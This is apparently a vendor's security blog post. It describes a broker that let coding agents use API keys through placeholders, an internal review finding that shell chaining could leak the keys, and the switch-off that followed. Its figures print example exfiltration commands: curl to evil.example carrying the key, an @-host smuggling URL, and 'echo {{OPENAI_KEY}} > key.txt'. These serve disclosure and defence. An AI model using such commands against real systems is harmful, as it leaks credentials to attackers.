← Blog Security & Trust 6 September 2026 9 min read

Keys the agent can use but never see.

Coding agents need API keys, and keys leak. We built a broker that let a model use a key without ever reading it. Then our own security review found a hole in it, and we switched the risky half off. This is the whole story, including the part that is still paused.

Fig 01  How the broker was built to workSchematic · design of 29 Aug 2026
THE MODEL SEES Names, never values IT WRITES curl -H "Authorization: Bearer {{OPENAI_KEY}}" … IT READS BACK > Authorization: Bearer {{OPENAI_KEY}} … THE BROKER · INSIDE THE APP The only place the value exists 1 Scope check every host in the command on the key's list 2 Substitute {{NAME}} replaced from the OS keychain 3 Run in a shell, ten minute limit 4 Redact value swapped back to {{NAME}} in output Each set, run, refusal and delete is written to an audit log. OS KEYCHAIN Encrypted value broker:OPENAI_KEY config holds name + domains
The design as it shipped on 29 August 2026, drawn from desktop/lib/secret-broker.js and desktop/scripts/owsecret.js. Step 3 is the part a later security review found unsafe; it has been switched off since 1 September 2026 (section 05).

The short version

  1. GitGuardian counted 1,275,105 leaked AI-service secrets on public GitHub in 2025, up 81% on the year before. Commits co-written with Claude Code leaked at about twice the baseline rate.
  2. In August 2026 we shipped a Secrets Broker: the model writes {{NAME}}, the app fills in the real key, runs the command and scrubs the key out of the output.
  3. Within three days our own security review showed that a shell command could still copy the key somewhere the scrubber never looks. We turned command execution off on 1 September 2026. It is still off.
  4. What stayed on: keys stored encrypted in the keychain, and a work trail that masks stored keys by name and anything key-shaped by pattern.
02Keys everywhere

The agent needs the key. The key leaks.

An agent that can build things for you needs credentials: a model provider key to test an integration, a deploy token, an email API key. The easy way to hand one over is to paste it into the chat, or leave it in a .env file the agent can read. From that moment the key is in the transcript, in the model's context, and in whatever the agent writes next.

GitGuardian's State of Secrets Sprawl 2026, published on 17 March 2026, puts numbers on where that goes. It found 28.65 million new hardcoded secrets in public GitHub commits in 2025, “a 34% increase year over year and the largest single-year jump we’ve recorded.” AI service secrets alone reached 1,275,105, “up 81% year over year”.

One line got the most attention: “Claude Code-assisted commits showed a 3.2% secret-leak rate, versus a 1.5% baseline across all public GitHub commits.” The report is careful not to blame the tool. “Developers remain in control of what gets accepted, edited, ignored, or pushed.” A GitGuardian developer advocate, writing in Help Net Security, put it as a pace problem: “Authentication models that rely on manual developer discipline fail at AI speeds.”

The laptop is part of the picture too. In the report's look at machines hit by the Shai-Hulud 2 supply-chain attack, The Hacker News summary notes that each live secret appeared in eight places on average, “spread across .env files, shell history, IDE configs, cached tokens, and build artifacts.” An agent with a terminal can read every one of those.

The safest key is one the model never reads. It cannot paste, commit or leak what it never saw.
03Use it blind

A placeholder, not a password.

Think of a hotel safe with a porter. You never hand the porter your PIN. You tell him which safe and what to fetch, he opens it out of sight, and hands you the result. The Secrets Broker, shipped in Luminair on 29 August 2026, worked the same way.

You stored a key once in the //secrets sheet: a name such as OPENAI_KEY, the value, and, recommended, the domains it may be sent to. The value went straight into the operating system's keychain, encrypted through Electron's safeStorage under broker:OPENAI_KEY. The app's settings file kept only the name and the domains. The sheet never shows a stored value again; the code comment puts it as “a key on screen exists exactly once, while you type it.”

When a model needed the key, it wrote a placeholder where the value belonged and passed the command to a small helper, owsecret run. Every engine lane was told about it in a short contract block: the names available, which domains each was limited to, and a rule to never read .env or credential files for a stored secret. Inside the app, the broker checked the command, swapped {{OPENAI_KEY}} for the real value, ran it, and replaced every copy of the value in the output with {{OPENAI_KEY}} again before the model read a byte.

desktop/lib/secret-broker.jsredact()
// Scrub every stored secret value out of text before the model sees it.
for (const [name, s] of Object.entries(secrets || {})) {
  const v = s && s.value;
  // never build a replace-everything regex from a tiny value
  if (!v || v.length < 6) continue;
  t = t.split(v).join('{{' + name + '}}');
}

That redaction runs on the way back, not just the way in, so it also catches a key that turned up in output some other way: a verbose curl, an echoed environment. Every set, run, refusal and delete was appended to an audit log, with the first 160 characters of any command.

04One key, one domain

The scope rule is deliberately strict.

Hiding the value is only half of it. A prompt-injected agent does not need to see a key to misuse it; it only needs to send it somewhere else. So each key can carry a list of allowed domains, and the rule in the source is blunt: a scoped key is filled in only when the command contains at least one URL and every host in it is on that key's list. One foreign host and the whole command is refused.

Two hardening changes landed the same afternoon. Hosts are now read with a real URL parser, because https://allowed.example@evil.example is a valid address whose host is the evil one. And a scoped key refuses any command with shell plumbing or transport overrides that could change the destination after the check: pipes, semicolons, command substitution, and curl flags such as --resolve, --proxy and --config.

Fig 02  What the scope check decidesReal output · substitute()
✓
curl -s -H "Authorization: Bearer {{OPENAI_KEY}}" https://api.openai.com/v1/modelsFilled in. One host, and it is on the list.
✕
curl … https://api.openai.com/v1/models … && curl "https://evil.example/?k={{OPENAI_KEY}}"“this command also reaches evil.example. Refused: one command may not mix an allowed key with other hosts.”
✕
curl -s -H "Authorization: Bearer {{OPENAI_KEY}}" https://api.openai.com@evil.example/v1/modelsSame refusal. The part before the @ is a username; the host is evil.example.
✕
curl -s https://api.openai.com/v1/models -H "Authorization: Bearer {{OPENAI_KEY}}" | tee out.txt“contains a shell or transport override that could bypass its egress boundary.”
✕
echo {{OPENAI_KEY}}“scoped to api.openai.com but the command contains no URL.”
✓ substituted✕ refused, value never filled inKey scoped to api.openai.com · fake value
Each command was passed to substitute() from desktop/lib/secret-broker.js with a fake key scoped to api.openai.com. The quoted reasons are the function's own error text. A key stored without domains skips this check and is filled in anywhere; the sheet labels domains as recommended.

That last point matters. A key with no domain list is filled in for any command, which is what you want for something like a deploy script reading an environment variable. It is also a key with no fence around it.

05Why we paused it

Our own review found the gap.

Between 31 August and 1 September 2026 we ran a full end-to-end security assessment of Luminair against a strict tier of controls. Most of it is internal, but one finding is the reason this post has a twist. Finding F-17 reads, in full:

F-17 · Secrets BrokerThe Secrets Broker accepts a shell command containing an arbitrary placeholder and substitutes the real secret. Domain validation checks for an allowed URL in the command but does not bind the secret to a structured request. A safe fake-secret test proved that shell redirection and command chaining could copy or use the secret outside the intended HTTP transaction. No live credential was used.

In plain words: the broker checked a string, then handed that string to a shell. A shell can do a great many things with a value besides send it in one HTTP header. We can reproduce it today with the same function and a fake key:

Fig 03  Where output redaction cannot reachReal output · fake key
THE COMMAND curl -s https://api.openai.com/v1/models && echo {{OPENAI_KEY}} > key.txt Scope check: passed one host, allowed · && and > are not in the escape list STDOUT · REDACTED The model sees no key. key.txt · NEVER INSPECTED Holds the real value.
The current substitute() still accepts this command and returns it with the fake value filled in, which is exactly why the step that would run it is switched off. The model could read key.txt on its next turn.

The fix could have been a longer list of forbidden characters. We did not trust that: a blocklist for a shell is a game you lose slowly. A few hours after the finding was written up, on the morning of 1 September 2026, command execution was switched off behind a single flag, with the reason written next to it:

desktop/main.jsSecrets Broker service
// F-17 containment: the legacy broker gives an arbitrary zsh command a raw secret.
// Keep keychain inventory/removal available, but refuse command execution until a
// typed request broker owns transport construction and never releases the value.
const SECRET_BROKER_EXECUTION_ENABLED = false;

A run request now gets a refusal that says command execution is disabled pending the structured-request replacement, and the refusal is logged. The contract block that told every model about owsecret now returns nothing, so no agent is invited to try. The replacement the comment describes, where the app builds the HTTP request itself from typed fields and the value never reaches a shell, is not built yet. We are not going to describe it as if it were.

Why say this in publicA feature that sounds safe and is not is worse than no feature. Turning it off cost us a headline capability. Leaving it on would have meant telling you a key was safe when a two-part command could write it to disk.
06The trail that forgets keys

Redaction that stayed on.

Luminair keeps a work trail for every session (//trail): each prompt, the turns it caused, the tools they ran, the files they changed and the checks that proved it. That is useful, and it is also a place where a key could end up in clear, because tool inputs are exactly where commands with credentials live.

On 6 September 2026, as part of an audit of Harness v2, every line bound for the trail started passing through a scrubber with two layers. First, any value stored in the broker is replaced by its name. Second, anything shaped like a credential is replaced by [redacted], whether or not you ever stored it: bearer tokens, sk- style keys, GitHub tokens, Slack tokens, AWS access key IDs, Google API keys, JWTs, passwords in URLs, token= style pairs and credential flags such as curl -u.

Fig 04  What the trail storesReal output · scrub()
Tool inputOPENAI=sk-demo-0000000000000000 node run.js
On diskOPENAI={{OPENAI_KEY}} node run.js
Tool inputgit push https://ghp_abcdefghijklmnopqrstuvwxyz0123@github.com/o/r
On diskgit push https://[redacted]@github.com/o/r
Tool inputcurl -u admin:hunter2secret https://x.example
On diskcurl -u [redacted] https://x.example
Fake values run through scrub() in desktop/lib/causal-ledger.js. The first pair had a stored broker key named OPENAI_KEY, so the value is masked by name. The other two were never stored and are caught by shape alone.

If the broker's redactor ever throws, the trail writes “[content withheld: redaction failed]” instead of the raw line. The same audit made trail files, turn contracts and summaries owner-only on disk, tightened older files at launch, and gave the harness doctor a fix for anything left loose. The output of a goal's check command is scrubbed of stored keys the same way.

Shape matching is a net, not a wall. A key in an unusual format, or a value shorter than six characters, can slip through. That is why storing a key by name is still the better habit: a stored value is masked exactly, whatever it looks like.

07Find it in the app

What you can use today.

  1. 1Type //secrets in any session. The sheet opens with a banner, Command execution is paused for security. You can add a key with a name and allowed domains, or remove one. Stored values are never shown again.
  2. 2Type //doctor. The Secrets broker check does not just count your keys: it feeds a random probe value through substitute, redact and the trail scrubber, fails loudly if any step lets it through, and warns if the broker's folder is readable by other users on the Mac.
  3. 3Type //trail to see what a session did. Anything that looked like a key is already masked.

Until the structured broker exists, the honest advice is the old advice: give an agent a key scoped as narrowly as the provider allows, and never paste one into the chat.

08What we checked

Checked, and not claimed.

8/8
Harness integration tests pass, including “the trail never stores a secret”
3 days
From shipping the broker (29 Aug) to switching off its command execution (1 Sep)
7
Credential shapes the trail scrubs on sight, before key-value pairs, URL passwords and flags
0
Live credentials used to test F-17, per the finding

What this post does not claim

  • That Luminair can currently run a command with a hidden key. It cannot; that part is paused.
  • That the structured-request broker has a ship date. It does not.
  • That shape-based redaction catches every secret. It catches common formats.
  • Anything about Claude Code's own leak rate beyond what GitGuardian published.

Sources

Keep keys out of the chat

Store them under //secrets, and let //doctor prove the scrubbers work.

Download Luminair →